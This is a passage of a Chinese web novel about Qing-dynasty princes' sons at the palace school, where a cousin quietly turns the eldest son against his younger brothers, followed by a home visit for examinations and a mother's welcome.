四爷的手轻轻点在石桌上,沉吟片刻说道:“你做得不错,在上书房中不要去主动惹是生非,可若有人过来找你们的麻烦,也不要让自己吃亏。不必怕得罪其他人,只要前来招惹的大可打回去。” “我就知道阿玛是这样想的。”弘昼眼睛亮了起来,“所以就一直没忍他。” 四爷凉凉地看了他一眼,没说话。这小子从小就不是个能忍气的,从前还小些的时候就能和弘时杠上,现在在宫里自然不会怕其余的堂兄弟。 本来这两个孩子的年龄还小,四爷也没想着将前朝的事情告诉他们。可今日听到弘昼和老九的孩子起冲突了才惊觉,他没有告诉两个孩子,但其他人不一定没有告诉孩子。 若是这两个孩子因为不知道自己在前朝和谁关系较近,和谁关系不好而吃了人的算计,岂非追悔莫及。 这样想着,四爷斟酌片刻后将自己在前朝和老八老九老十还有老十四不算太对付的事情告诉了两个孩子。 从前在家中的时候他不会和孩子谈论这些,因为总觉得他们年纪还小,不必知道这些。但是现在将他们放到宫里,知道得少了说不定会被算计。 弘昼震惊地听着阿玛说话,心里算了一下。 自家阿玛一共有序齿的兄弟二十四个,排除掉已经过世的还有二十个。其中和十三叔交好,和刚才所说的四个叔叔关系不好,其余没提应该就是关系泛泛。 这算起来自家阿玛的人际关系似乎很一般啊,倒是那位八叔似乎和他儿子弘旺一样很擅长交际。能笼住三个弟弟站到他那一边,情商肯定非常高。 “那阿玛的意思是日后我们在上书房中要小心那几位叔叔的孩子吗?”弘历问道。 四爷摇头:“你们只要知道此事,心中存些防备就是了。平日里相处只需按照你们往常的相处即可,毕竟在上书房念书才是头等大事。” 弘历点了点头:“儿子明白了。” 说完了这个,四爷看向了弘昼:“你进了上书房不爱念书?” 听到阿玛的问话,弘昼心中想到果然来了。刚刚转身看到阿玛的一瞬间,弘昼就知道自己说不喜欢学习这件事应该暂时过不去,毕竟自家阿玛在府中的时候最喜欢干的事就是在书房或看书,或办差事。 而且阿玛的学问很好,一般这样的学霸卷王都不大能容忍自己儿子是个不喜欢念书的。 弘昼窥了一眼阿玛的脸色,看不出是什么心情,便大着胆子说道:“本来在家中的时候是不讨厌的,但在上书房中每日丑时起,现在申时末才散学。沐浴用过膳后睡觉,每日里都觉得睡不够。” 小孩子需要的睡眠其实比成人要多得多的,弘昼现在还记得自己上一世小时候是不到十点就要去睡觉了,第二日七点才需要起床。每天维持九到十个小时的睡眠,是很正常的事情。 原本在王府的时候他也基本能保持每天九个小时的睡眠,但是进了宫后除去念书的时间外,回来院子后用晚膳洗漱沐浴和睡觉加在一起才九个小时。他是真的觉得自己每天都睡不够,黑眼圈都出来了。 四爷仔细看了看弘昼的脸,见他眼底果然已经有了黑青。 “其余堂兄弟皆是如此。”四爷脸上并未露出动容之色,说道,“既然旁人可以,你为何不行?当年我在上书房时,亦如此例,不仅是我,你的叔伯们皆同此例。” 弘昼振振有词:“阿玛也应当知道,人与人之间是不一样的。有的人天生勤勉爱念书,譬如阿玛和四哥。有些人更偏好射箭骑马,譬如十三叔。叔伯和堂兄弟们皆能如此又如何,他们又不是我。况且我虽不喜,但先生布置下来的功课却也不曾落下。” 听着弘昼的话,四爷眯起眼睛就要开始训斥,这样带着些狡辩惫懒的话让他听着很是不悦。 但正在此时,弘时从外面走了进来。 弘时的身边跟着他进宫来挑的小太监,走进来的时候脚步轻快,脸上带着明显的笑意能看出心情很是不错。 一进院中,弘时就看到了坐在中间的阿玛还有两个弟弟。他脸上轻松的神色一敛,转为了一种惊恐,随后马上变为慎重。 “儿子见过阿玛。”弘时先是行礼。 四爷看着刚刚走进院中红光满面的弘时在见到自己时立刻变脸的样子,心中闪过了一丝怀疑,思索着是不是弘时在宫中搞什么他不知道的事情。 “你们俩先回屋吧。”四爷停下了原本要训斥弘昼的话,没有叫弘时起来,而是对着弘昼弘历两兄弟说道。 弘时维持着行礼的姿势,心中带着种不好的预感。一般而言,这样把其他人支开,就等于阿玛要训斥自己了。可这在宫中,阿玛应当不会在宫里头搞出这样的事情吧。 这样想着,弘时在心中安慰自己。 见弘历和弘昼应了一声后便乖乖进屋了,四爷起身走进了弘时住的正院,见弘时依旧保持着行礼的姿势落在原地,才冷声说道:“还不进来。” 弘时这才起身跟着走进了正房,这正房里布置得很是雅致,多宝阁上摆着些颜色淡雅的摆件。一进门就能看见墙上高悬的一幅青竹图,能看出里面的东西都价值不菲。 “把门关上。”四爷坐在主座,看着弘时说道。 弘时惴惴不安把门关上,随后低眉敛眼地走到了四爷的跟前。 “在上书房也念了六七日的书了,”四爷问道,“你平日都和哪些人往来?” 弘时在心中飞快地过了一下自己平日里往来的人选,犹豫片刻后答道:“一般是与三伯家中的弘景还有五叔家中的弘昂往来。我和他们年龄相近,阿玛您和三伯还有五叔的关系也还不错,便想着和他们关系近些,在上书房中也算有个伴儿。” 四爷不置可否,他和老五的关系的确还可以,毕竟老五温厚,和谁的关系都不差。即便他的亲弟弟是老九,但四爷也从未因为这个看轻了五哥。 但他和老三的关系就一般了,老三那个假清高的性子一直让四爷看不惯,即便从前同在二哥门下的时候,四爷和这位三哥的关系也算不上多好。 “除此之外呢?”四爷看着弘时。 弘时犹豫片刻,随后果断地摇了摇头:“儿子在上书房只和他们俩走得略近些,倘若阿玛不喜欢,儿子便不和他们走得近了。” 四爷垂眸,敛下了眼中的失望。他的粘杆处虽没有神通广大到知道弘时这段日子说的每一句话,但弘时和谁走得近这样的事情他还是知道的 和老三以及老五家中的这两个走得近是不假,但他特意漏说了一个弘旺。既然能专门挑出来弘旺不说,那也就是他知道自己这个阿玛和弘旺的阿玛是对立的。 “当真没有了?”四爷又问了一遍,看见弘时摇头后,原本说教的心思全没了。只是淡淡看着弘时,盘算着该什么时候将他接回去。 幸而从前觉得他年纪小,不曾说过什么外头的事情,即便老八家里的那个小子精明但也不会在他这里得到什么情报。 四爷现在懒得和这个大儿子说话,起身便想走。 走到门口的时候,四爷留下了一句:“既在上书房,就好好念书。等你们休沐回家的时候,我是要考校功课的。” 看着阿玛离去的背影,弘时的心中带了点惶惶不安,虽然阿玛似乎没说什么,但他总觉得什么地方不对。 想起刚刚阿玛问了三遍的那个问题,弘时思索了片刻,猛然暴怒,冲到了弘昼的东厢房。 “是你在阿玛面前告状的?!” 第68章 说话 第68章 弘昼此时正在房间中吃糕点,阿玛还没走且要求下人们回避,他也不敢现在让小周子去大厨房提饭菜。但是这个时辰他早就饿了,平日里回来就直接用膳了,现在口里含着东西仰头懵懵地看着弘时。 急忙将口中的糕点咽下,弘昼被噎得拿起桌上的茶杯就往嘴里灌水。 “我就知道肯定是你,若不是你告状,阿玛怎么会突然就来问我。”弘时眼中带着怒意,说话的声音几乎是吼出来的。 终于不噎了,弘昼对着弘时翻了个白眼:“你在说什么?” 弘时怒目而视:“是不是你告状让阿玛知道我和弘旺走得近的。” 这声音大得让旁边西厢房的弘历也听见了,他连忙急匆匆过来:“三哥这是做什么?” “你们是一伙的,告状必然也是一起的。”弘时的手指着他们,冷笑道,“好好好,今日这件事我算是记住了,你们最好别做什么叫我拿住把柄的事情。到时候我可就不只是告状这么简单了必然会让你们付出代价的。” 放完这一句狠话,弘时转身就走了出去,独留弘昼和弘历两眼懵逼地看着对方。 “三哥这是怎么了?”弘历犹豫着问道。 弘昼撇着嘴:“我哪知道,多半是被阿玛训斥了。鬼知道阿玛骂他什么了,让他来找我撒气。算了不管他了,小周子小桩子,你们去大厨房把我们的晚膳提来吧,四哥,我早就饿了。” 看着弘昼这一副无关痛痒的样子,弘历将心头的不悦暂时掩去。 阿玛怎么骂这位三哥的,他并不关心,但是因为被阿玛骂了就将气撒到弘昼身上让他很不高兴。 “今日阿玛来了,让我晚用膳了小半个时辰。”弘昼还在抱怨,“这都怪弘旷。” 弘历的意识被拉了回来,笑着问道:“这怎么怪弘旷了?” “若不是弘旷今日找茬,那校场的事情也就不会传到阿玛耳边,”弘昼振振有词,“如果没有传到阿玛耳边,那他就不会在我们散学的时候过来找我们。这样算下来,不怪弘旷怪谁。” 弘历笑着摇头:“你说得对,都怪他。” 说笑几句后,小周子和小桩子提着饭菜回来了。 见色香味俱全的饭菜摆到了桌面上,弘昼先是陶醉地吸了一口香味,随后迫不及待拿起筷子品尝一二。 见弘昼吃相已经接近狼吞虎咽了,弘历咽下了口中的这口饭菜开口:“慢些,莫要噎着了,难不成我会和你抢?” 猛地吃这两口,弘昼已*经感受到胃部的饥饿已经缓解了不少,便顺水推舟慢下了用膳的速度:“知道了四哥。” 两兄弟将晚膳用过之后,便各自回屋洗漱了。虽说今日阿玛来了一趟打乱了他们一点往常的作息,但明早还是得按时起床念书,所以还是要争分夺秒睡觉。 另一边的弘时从弘昼的屋子出来之后,并没有回到自己的院子,而是愤怒地冲到了弘昂的院子,打算和这位在上书房认识的较为投机的堂兄弟诉诉苦。 住在西厢房的弘曈好奇地看了眼,不知道弘昼的三哥在这个时候找自家大哥做什么。不过现在弘时堂兄在大哥的屋子里,他也不好直接冲进去去问自家大哥,只是瞅了两眼后打算明日去问问弘昼。 弘时冲进弘昂的屋子后,气得连灌了两杯水才勉强压下心中的怒意。 弘昂是五爷府中的长子,他在恒亲王府的处境其实和弘时略有些相似。他是长子,同时也是侧福晋所生,下头有两个弟弟是格格所生。但就这一点来说,他和弘时的处境很是相似。 但也有不同的地方,比方说五爷性子温吞敦厚,对孩子们也很是温和,少有疾言厉色的时候。还有就是弘昂下头的两个弟弟对他这个哥哥也是真心敬服,兄弟三人的感情很是不错。 “你这是怎么了?”弘昂性子和五爷有些像,为人温和。 弘时压住怒气说道:“还不是我那两个弟弟,今日阿玛进宫一回,他们便忍不住在阿玛面前告状了。方才我阿玛就问我,和谁走得近些,我都不敢说弘旺。” 弘昂疑惑地眨了眨眼:“既然四伯不喜欢你和弘旺走得近,你离他远些不就是了。” 对于弘昂来说,阿玛不喜欢自己和谁走得近,只要不是生死之交,其他人都可以远离。更何况即便弘昂并未到领差事的年纪,也是知道四伯和八叔多年来都不对付的。推己及人来说,若是有叔伯和自家阿玛很不对付,弘昂是绝对不可能和这位叔伯的孩子有太多交情的,最多就是不咸不淡处着。 所以他不是很明白弘时愤怒的点,这对他来说并不是什么很难的选择题。 “你不懂,弘旺是个很好的人。”弘时咬牙,“还是我那两个弟弟的错,都怪他们在阿玛面前告我的状。” 弘旺是个不错的人,弘昂也是认同的。他虽然还是不明白弘旺是否能好到让弘时违背其阿玛的意愿交好,但他也并不喜欢告状的人,于是赞同地点了点头。 跟弘昂抱怨了一大通后,弘时心中的气终于顺了点,起身告辞。 弘昂将弘时送到院外,准备让自己的贴身小太监将饭菜摆好,他要现在用膳然后睡觉了。上书房这样高强度的念书作息,让他也很是吃不消。 饭菜刚摆好,弘曈就从旁边摸了过来,嘿嘿笑道:“大哥,怎么现在才用膳。” “你方才明明就看到弘时过来了。”弘昂瞥了他一眼说道。 弘曈很自觉地坐在了弘昂的对面,笑道:“是看见了,他那样怒气冲冲过来,我还以为是要找事呢。本来盘算着他要是对大哥不敬,我就冲过来维护大哥的。” 这样的话听起来不像真的,但也弘昂也确实爱听,不由笑了出来:“你过来到底是为什么,若是聊天就快些回去,不要扰了我用膳。” “我就是想来问问弘时过来干什么的。”弘曈连忙问道,“这不是我和弘历还有弘昼一块念书,难免好奇嘛。” 这件事没什么不能说的,弘昂便将方才弘时过来说的话复述了一遍。若是不能说的话,那弘时走前肯定会嘱咐不能说,既然没有嘱咐,那就是能说的。 弘曈听得挠头:“都是兄弟之间,怎么会这样呢。而且我接触的这几日,瞧着弘昼和弘历也不像是会告状的人呀。” 弘昂不轻不重看了他一眼:“你才接触他们几日,品行又岂是这几日就能看出来的?” “那他们也不是这种人。”弘曈咕哝,“而且我瞧着这个弘时才不像好人呢,他眼睛一直长在天上,只理会咱们府上的人还有三伯府上的人,哦对了,还多一个弘旺。除了弘旺外,他只理会亲王府的人,我才看不惯这样捧高踩低的呢。” “他没有去欺负其他府上的人,最多就是捧高,没有踩低。”弘昂说道。 “反正大哥你要注意他说的话,”弘曈不满,“我有回还听见他挑拨咱们兄弟之间的感情,他自己是这样的人就以为大哥你也是这样的人了。” 弘昂无奈:“我自然有我的判断,你快些回去洗漱睡觉了。仔细明儿早上起不来,到时候被告到阿玛那里,即便阿玛平日里温和,但遇上这种事肯定也会打你一顿屁。股。” “知道了知道了,”弘曈一边说一边往外走去,“大哥你记得一定不要听他乱说话啊。” 第69章 想要成为独子吗 第69章 弘时其实在弘昂面前说过他其余两个弟弟的坏话,但弘昂在第一时间就表达了不悦。在弘时的眼中,弘昂是和他一样是身份,都是亲王的长子,日后说不定要继承爵位的,所以他们是一个层次上的人。 是以在知道弘昂不喜欢这样的话后,便不在他面前说了。 对于弘昂来说,这位弘时堂兄一直以来对待自己都很友善热情。称得上是他在上书房中第一个关系不错的兄弟,所以即便有些无伤大雅的缺点也尽量忽略。 只要没有要利用或者伤害自己的意思,那就都能成为好兄弟。 被大哥赶出门弘曈也不在意,他们兄弟之间的感情好,大哥随意挥手赶人的事情之前也发生过不少次。他自然不会觉得有什么,心里盘算着要不要将今日弘历的三哥过来找自己大哥的事情与他们说一遍。 第二日 弘昼踏着沉重的步子,踩点进了上书房。昨日晚膳被延后了一刻钟,略微打乱了他平时的节奏,让他少睡了一刻钟,起床的时候只感觉脑瓜子嗡嗡的。 刚坐到自己的位置上,弘昼就见旁边的弘曈探出了一个脑袋过来笑道:“我这有一个秘密,你想不想知道?” 弘昼睁着无神的大眼睛,眼里没有好奇全是困意:“现在不想,你说我能不能在上书房睡一会儿。等先生过来了,再起来听课。” 弘曈惊恐地瞪大了眼:“你把旁边站着的太监侍卫们当不存在啊,你现在睡着了,马上先生那边就能收到消息。你还是过来先听听我的秘密吧,说不定你听到了之后就不困了。” “什么秘密?” 见弘昼终于问了,弘曈也不在意原本自己想的是要弘昼追问好几次才会答,而是乐颠颠说道:“昨儿你三哥过来找我大哥抱怨了,说是你们俩找你阿玛告了他的状。” “我们俩?”弘昼清醒了一点,“也就是他的意思是我四哥也告了?昨日过来找我发疯,还出去乱传谣。” 说这话的时候弘昼撇着嘴,觉得三哥是真有点欺软怕硬在身上的。专门来找自己撒气,其实心里觉得是自己和四哥一起告的。 旁边的弘历也竖着耳朵听着弘曈讲话,他心里对三哥的评价又下跌了一点。 自己家中怎么闹都无所谓,但是将这些话主动传出去,让外人知道,就有点令人不齿了。而且这件事他并未调查清楚,而是凭借感觉直接将这个帽子扣到了自己和弘昼身上,就更令人无语了。 “还不是你这种人不讨喜,连家中的兄长都不喜。” 昨日和弘昼起了一点小冲突的弘旷突然出声阴阳怪气。 弘昼瞥了他一眼,懒得理。 这种无视让弘旷心中更加愤愤,但他只是咬牙忍下了。昨日回去的时候他被大哥和二哥骂了,让他不要在外面丢他们十四贝子的脸。不论和弘昼是什么仇怨,只要动手了就说不清楚了,到时候被皇玛法责罚的时候肯定丢的是他们一府的脸。 这两位哥哥是一母同胞,在府中向来是同气连枝的。弘旷并不是很敢一下子得罪两个兄长,所以只能站着挨训,便将自己挨训这件事算在了弘昼的身上。 若非是他来招惹自己,自己怎么会气得在武师傅面前和他起冲突。好在阿玛似乎还没收到消息,也不知道收到消息后阿玛会是什么反应。 府中的孩子逐渐多了起来,弘旷自觉自己在阿玛心里头占据的位置实在是太小了。若是大哥二哥犯这样的事情,阿玛或许就轻轻放过了,但若换成他,也不知道阿玛会不会训斥甚至责罚。 弘旷这一阴阳怪气,让弘曈也没了说话的兴致,便转过脑袋继续看自己眼前的书。上书房的先生们都是仰承皇玛法的旨意,教他们的时候要求书要念一百二十遍。求的是书读百遍,其义自见的道理,他今日的书还没开始读了,可不想等会在先生面前丢脸。 见没有人搭理自己,弘旷没趣地低头看着眼前的书。 弘鼎根本懒得理会自己这个有些愚蠢的四哥,昨日都被大哥和二哥一起教训了还不长记性。他只能盼着这位四哥惹祸的时候,自己最好离得远些,免得被牵扯其中。 很快地,弘时控诉其两个弟弟在阿玛面前告状的事情就传遍了上书房。盖因弘时和与自己走得近的兄弟都吐槽了一遍,重点骂了弘昼和弘历卑鄙无耻在背后告状。 这上书房中大家都是亲戚,互相之间大部分是堂兄弟的关系。进宫之前多数也在宫宴上打过照面,甚至其中不少人关系不错。对弘时的性子很多人都看在眼里,他放出来的消息多数只能信三分,是以即便这样的消息传遍了上书房,弘昼和弘历也并未受到太多冷眼。 但在其中有一人却将这件事记在了心底,面上带着微笑就去安慰弘时了。 “堂兄消消气。” 现在是用午膳的时间,弘时心里藏着气吃不下去,便趁着这段时间想要出来透透风。弘旺见此,悄摸跟了过来。 弘时还未扭头,只听声音就知道来者是谁:“弘旺?你怎么过来了。” 弘旺的脸上的纯然的关心之色,微微皱起的眉似乎在诉说着他的担忧:“这用午膳的时辰,见堂兄带着怒冲了出来,便不免担忧。现在若是不好好用午膳,那下午跟着武师傅练习的时候岂不是要饿。” 听见这样带着关切的话语,弘时脸上的愤怒警惕消散了些:“一顿不吃也没什么。” “弘时堂兄可是有什么烦恼,”弘旺看着弘时,似乎当真是一个很是关切兄长的弟弟一般问道,“若能说出来的话,这心里说不定会舒服些。” 见弘时将眉皱起,弘旺连忙又补了一句:“倘若有不便诉说之处,便当弟弟是唐突了。我这只是关心堂兄罢了,并无要探究堂兄其他的意思。” 这一串的小连招出来,成功让弘时原本的警惕全都抛到了脑后,将昨日他揣测出来的都一股脑儿说了出来。昨日他前去找弘昂的时候,其实有许多难听话未说出来,毕竟他和弘昂细究起来关系虽好,但没有好到推心置腹的地步。 现在弘旺追出来关心他,触动了他心中的一根弦,立刻便将弘旺当成了可以推心置腹的好弟弟。 弘旺一直认真地听着,时不时根据弘时的话来调整表情。弘时气愤的时候他的脸上也带上了气愤之色,弘时颓然的时候他脸上便是纯然的关心。 这出下来,弘时恨不得当场将弘旺引成知己。登时将宫外的福成和萨拉都抛到了脑后,只觉得真不愧是八叔的孩子,简直和八叔一模一样的讨喜和善良。立刻将昨日因为阿玛的三连质问想要和弘旺划清界限的想法抛到了脑后,只觉得天上地下没有比弘旺更懂自己的人了。 见弘时和自己越说越深入了,弘旺窥着他的脸色说道:“这真是太过分了,哪有这样做兄弟的。弘时堂兄这样好的人,我只恨没有同你一起降生在同一家,怎么会有人这样给你使绊子呢?真是想不通。” 弘时赞同地点了点头:“倘若你也降生在雍亲王府便好了,若你是我弟弟,必然不会如同那两个小畜生一般。我也定然会待你好的,若有人欺负人不要怕,只需报我的名字便是了。” 弘旺脸上的笑容顿了一下,随即立刻恢复感动:“只恨没有同兄长做亲兄弟。” 谁要和你做亲兄弟,阿玛只我一个男孩,心力皆用在我身上。从幼时就开始亲自教导我,倘若加上你这个亲哥哥,即便没有什么威胁,但瞧着这蠢样实在碍眼。 见弘时又开始喋喋不休地抱怨着他那两个弟弟,弘旺试探着开口:“四伯为何这样不分是非,竟然偏袒他们。兄长作为四伯的长子,日后定然是要继承爵位的,他竟然这样偏袒那两个年龄比兄长小,身份更是比不上的人。” 似乎是方才的聊天让弘时卸下了心防,他在弘旺面前丝毫不掩饰:“你是不知道,阿玛对他们太好了。从前我额娘提过立世子的事情,当即被我阿玛撅了回去。说不定我阿玛心里盘算的是,让那两个小畜生之一袭爵呢。” 这种话若是在平常,绝不可能从弘时口中说出。他即便心里有了想法,可面上却一直要维系着自己作为雍亲王府长子的尊严,只要阿玛一日没有立那两个小畜生为世子,他就一日不可能认命。 “竟然如此,”弘旺惊呼,眼里闪过一抹暗芒,“倘若我有这样好的兄长,必然不能让自己威胁到兄长的地位的。肯定是要在阿玛面前陈情,不敢与兄长相争的。” “可他们不是你这样的好性儿。”弘时失落,再次提到,“若我的两个弟弟是你这样的性子,能有你一半识大体就好了。” “唉,”弘旺叹了口气,似乎爱莫能助,“倘若我也有兄弟,那还知道该如何帮兄长。偏偏我阿玛只我一个孩子,即便我不成器,也没人与我相争。我也并无与兄弟相斗的经验,帮不了兄长了。” 若是平常听见弘旺说这话,弘时肯定会疑心他是在炫耀。但在此刻,他只捕捉到了一个关键信息,那就是阿玛只我一个孩子,没人与我相争。 是啊,他也不是天生就是长子,是靠着前头三个哥哥都过世了才成为长子的。既然如此,他又为何不能使些手段,让自己从长子变成独子呢? 若阿玛只有自己一个孩子,难不成还会将世子之位给旁人吗? 第70章 休沐 第70章 弘旺见弘时脸上出现了思索之色,面上的笑意更深。这样的挑拨不是一两次就能成的,但多次在他跟前挑拨,日积月累下来,即便本来就是个圣人也难免会出现点别的心思,更别提这位堂兄的性子和圣人的距离相差十万八千里了。 被弘旺顺着哄了一阵子,弘时心中的气也消了不少。看着这个堂弟也是愈发的顺眼,心中更觉得阿玛和八叔敌对真不是个好主意,十三叔比起八叔来实在是差远了。 气消了之后便要回去用膳了,弘时本欲和弘旺一同回上书房,却被拒绝了。 “我曾听到些小道消息,”弘旺的脸上带着抱歉之色,“原是因兄长与我走得太近的缘故,才叫你被四伯训斥的。既然四伯不喜我,我便不与兄长在面上亲近了。不过我这心中自然还是把兄长当成最亲的兄弟的,只是不在人前亲近罢了。” 弘时听到这话,更加感动,当即拉着弘旺的手说了一通话才回上书房。 看着弘时的身影消失在自己视线中后,弘旺脸上带着的笑意彻底消失了。从怀中取出了一方锦帕,将自己的手仔仔细细擦拭了个干净,随后将那方锦帕随意地丢到了一旁的水池中。 若是雍亲王府的人都是这样的蠢货就好了,弘旺心中有点遗憾,偏那两个小的还算聪明。若都是弘时这样的蠢货,那自己便有法子让皇玛法对雍亲王府的评价更低了,后继无人这个考评,在哪一位对皇位有想法的皇子那都是一个重大的打击。 接下来的几日中,弘昼发现了一个较为奇怪的现象。 那就是从前基本上把自己和四哥当成空气的弘时,这几日竟然对着他们笑了出来。甚至有几次笑容显得很是温和,看到这个笑容的时候弘昼只觉得自己身上鸡皮疙瘩瞬间就起来了。 从未见过三哥对他露出过这个表情,这一看就不对劲。特别是弘时刚被阿玛训斥没几天,还把被阿玛训斥这个锅扣在他们身上的此刻。 再一次看到三哥对着自己露出温和的笑意时,弘昼搓了搓自己胳膊上的鸡皮疙瘩:“四哥,你有没有觉得哪里不对劲?” 弘历往弘时那边看了一眼,很快地就收回了目光:“这些日子注意着点,小心不要中了圈套。” 宫里和府上不同,若是在家中的时候被三哥设计一通,最坏的结果就是让阿玛训斥一顿。但是这在宫中,最坏的结果不一定是他们兄弟俩能承受得起的。 弘昼郑重地点了一下头,随后问道:“你的意思是三哥可能是想要设计我们?” “防人之心不可无。” 接下来的几日中,弘时待他们比平日要好了十倍,不仅面带笑容,还经常嘘寒问暖。即便被弘昼刺了一两句也不生气,一开口便是觉得之前不懂事并未做个好兄长。 这样的态度让弘昼和弘历更加警惕了些,宁愿相信母猪会上树,也信不了一点弘时能在短时间改了性子。 是以,不论这几日间弘时待他们的态度有多好,最终也只是碰到了一个软钉子。 与此同时,弘旺和弘时在明面上的交集少了许多。弘时也确实怕那两个小的再给阿玛告状,便主动与弘旺说了面上要保持些距离。 弘旺自然无有不应,甚至十分贴心地说道:“我自然明白兄长的难处,这些不过是小节,哪有不应的呢?” 弘时听后大为感动,拉着弘旺说了好一会儿的话才离开。 就这样,弘时对着弘昼和弘历示好了大半个月,连上书房中的众人都以为这三兄弟和好了。 时间很快就来到了入上书房一月的日子,这是康熙定下的让这些皇孙们回府休沐的日子。 弘昼从进宫的那一日起就在盼着这一日了,从校场出来后,他便和四哥第一时间往宫门口走去。 休沐一共两日,从今天下午到后天下午。昨儿便有人捎信来,说是今天下午安排好了马车在宫门口等着,三位阿哥到时候直接去就是了。 “四弟,五弟且等等我。” 身后传来了弘时的喊声,由远及近仔细听似乎还能带点笑意:“咱们兄弟一同回去。” 弘昼拉着四哥的手臂,听见这话犹豫片刻后不情不愿地停了下来。 从前弘时见到他总是阴阳怪气的,那时候他虽然不喜欢见到这位三哥,但好歹也不会怕。但现在弘时见到他总是带着笑后,他不仅是不想见到这位三哥了,甚至称得上是有些害怕见到他了。 总觉得他脸上的笑容格外渗人。 弘历安抚性地拍了拍弘昼的手背,扭过头去和弘时打了个招呼:“三哥。” 弘时追上来后带着笑对着弘历点了点头,与他们并排而行。 到了宫门口,这里停满了马车。甚至恒亲王还是亲自过来接孩子们的,弘昼看见了弘曈似乎很高兴地冲着他阿玛说着些什么。 来接弘昼他们的是府中的管家,管家见到三位阿哥来了,做了一个请的手势将他们迎上了马车。 “爷正在府中等着三位阿哥呢,”管家笑道,“还有李侧福晋和两位格格早就备好了东西盼着阿哥们回来呢。” 皇宫到雍亲王府的距离并不算远,但弘昼却觉得在马车的这段时间实在是太长了。自从来到这个朝代后,他还从未离开过雍亲王府这么久,也从未这么长时间没见到过额娘。 从前即便是被养在前院,可隔上四五日便能回去请安。像这样一个月未见,是从未有过的。 很快的,马车缓缓停了下来,弘昼从马车上下来的时候看着眼前这熟悉的建筑,一时之间有些恍惚。 从马车上下来弘昼就想抬脚往后院走去,额娘肯定已经在等着自己了,但刚走出两步就被弘历拉了回来。 “要先去拜见阿玛。” 弘昼这才想起刚才上马车的时候管家似乎说了阿玛在府中等着这件事,这一心只想着额娘倒是把这件事给忘了。 走到前院书房,苏培盛已经在书房门口等着了,见到三人过来脸上扬起了笑意:“爷正在里头等着三位阿哥回来呢,快些请进。” 进入书房后,三兄弟一起行礼。 四爷坐在书案后,手里正捧着一本折子,听见他们行礼的声音才抬眸看了过去。 “起来吧。”四爷的声音清清冷冷的,“你们入宫之前便叫你们要好好念书,回府后是要考校的,今日既回来了,便先考校一番后你们再去见各自的额娘吧。” 这话出来,弘昼就在心里哀号了一下。本来以为过来请个安就能溜的,现在要考校的话,至少得两刻钟了。 这话一落,四爷的眼神就看向了弘时,先点了他出来。 或许是因为弘时在上书房的表现并不让四爷满意,他第一个问题便提得有些难度。 “中庸之为德也,其至矣乎,民鲜久矣。此何解。” 弘时听见这个考题,先是愣怔了片刻,后犹豫着说道:“《中庸》有云,天命之谓性,率性之谓道,中庸其意为不偏不倚,当中至德实为顺应天性的体现。” 四爷抬眸淡淡地看了弘时一眼,这个答案并不令他满意。看来弘时这段日子在上书房中,心神用在念书上的极少。 接着又提了几个问题,四爷越听脸上神色越冷。弘时窥着阿玛的脸色,越答越没有底气,最后的声音都低到近乎耳语。 这几个问题答下来,四爷多少也明白了弘时这段日子念书的情况,他将目光转向了弘历开始提问。 弘历答得不错,让四爷原本冷下的脸色缓和了些,后面弘昼答得也过得去,让四爷原本的冰块脸彻底回到了春天。 一直在观察着阿玛脸色的弘时自然也看到了这一场景,他尴尬地抿了抿唇。心中开始埋怨为何阿玛要问他这么难的题,若是问弘昼和弘历他们方才答的题目,他也能自信答得不错。 三个孩子都答了之后,四爷让弘历和弘昼都退下,将弘时狠狠地训斥了一顿。 弘时不敢回话,只能在原地立着听训。足足骂了一刻多钟,四爷端起茶盏喝了一口水润了润自己已经有些干涩的喉咙,才让弘时滚蛋。 弘昼和弘历从阿玛的书房出来后,来不及为被留下挨骂的三哥哀悼,立刻就往后院额娘的院子里奔。 弘历毕竟也是货真价实的小孩子,这么久没有见到额娘心中说不想念那是假的。 走到泗水院前,弘昼就看到额娘正在院外等着自己,老远看到自己的身影就迎了上来。 耿执羽将弘昼上上下下打量了一番,心疼道:“怎么瘦了。”【你现在阅读的是魔蝎小说 moxiexs】 70-80 第71章 出痘了 第71章 虽说宫里的作息时间是有些熬人,但饭食同样诱人,弘昼伸出手看了看自己的小胖爪子仰头真挚地问道:“额娘,你看错了吧。” 虽说都知道父母看孩子总是会心疼的,但弘昼真的没有察觉到自己有变瘦的情况。每日在宫里吃那么多东西,特别是课间的点心一口也不曾落下,甚至还吃了些四哥的份例。 托起早贪黑念书的福,他才没有长胖的。 耿执羽一个月没见到儿子,现在正是稀罕的时候,见弘昼和她顶嘴也不生气拉着弘昼的手就往泗水院中走:“快进来,已经备好了你喜欢吃的清炖肥鸭,在宫里头也不知道能不能吃到这口。进宫这么久,你也累坏了,这两日在家中只管好好吃好好玩就是了,额娘绝不过问你学业上的事情。” 这清炖肥鸭是很费功夫的一道菜,将鸭子拔毛取出内脏研制之后要放入瓷罐中蒸煮整整三日。这道菜最费事的是要有人一直在旁边看着火候,这火候过大过小都会影响最后的口感,是以弘昼在雍亲王府的时候也只是偶尔能吃一次。 这次肯定是额娘提前好几天就拿了银子向大厨房那边预定了的,才能在自己回来的时候第一时间吃上。 被拉进院子后,耿执羽没有叫弘昼去换衣裳,而是直接拉到了正厅开始用膳。 这桌子上不仅有弘昼平日里最喜欢的清炖肥鸭,还有其余他偏好的菜色。用膳的时候耿执羽自己没吃几口,一个劲儿地给弘昼夹菜。 “够了够了额娘,”见额娘给自己夹菜一直不停,弘昼护住自己的碗,“这都要吃不完了。” 耿执羽皱着眉:“难怪我觉得你瘦了,你在宫中也是只吃这么一点的吗?” 弘昼看了看自己刚吃过一碗饭的碗,又看了看额娘夹过来的已经堆成山的菜。心中很想知道,自己这进宫的一个月,是不是在额娘的心中已经进化成了大胃王。 见弘昼铁了心推拒自己夹的菜,耿执羽只能无奈放下筷子:“这还是不想让你多吃两口,看看你脸上的肉都瘦没了。” 从见到额娘开始,弘昼就一直在被说瘦,他几乎都要怀疑是不是因为自己每日都能在镜子中看到自己所以才察觉不到自己瘦了。 一顿饭用完,看着桌子上的碗碟被一道道撤下去,弘昼喝了口伏云递过来的茶。 “你这些日子在上书房过得如何?”耿执羽问道,“可有受委屈?” 弘昼的年龄在这些入宫念书的皇孙中应当是最小的那批,这也是耿执羽最为担心的地方。本来按照地位来说,弘昼是亲王之子,四爷在兄弟中也算得上是出息的那批人,是不用担心会被别的堂兄弟瞧不起或者欺辱的。 但弘昼的年龄实在太小了,其余的皇孙是从十四岁到六岁的都有。弘昼只有六岁,比他大的孩子太多了,而且这些皇孙的年龄还不算特别大,正处于天老大地老二的阶段,耿执羽怕的是自家孩子在宫里被欺负,之后即便报复回来了也晚了。 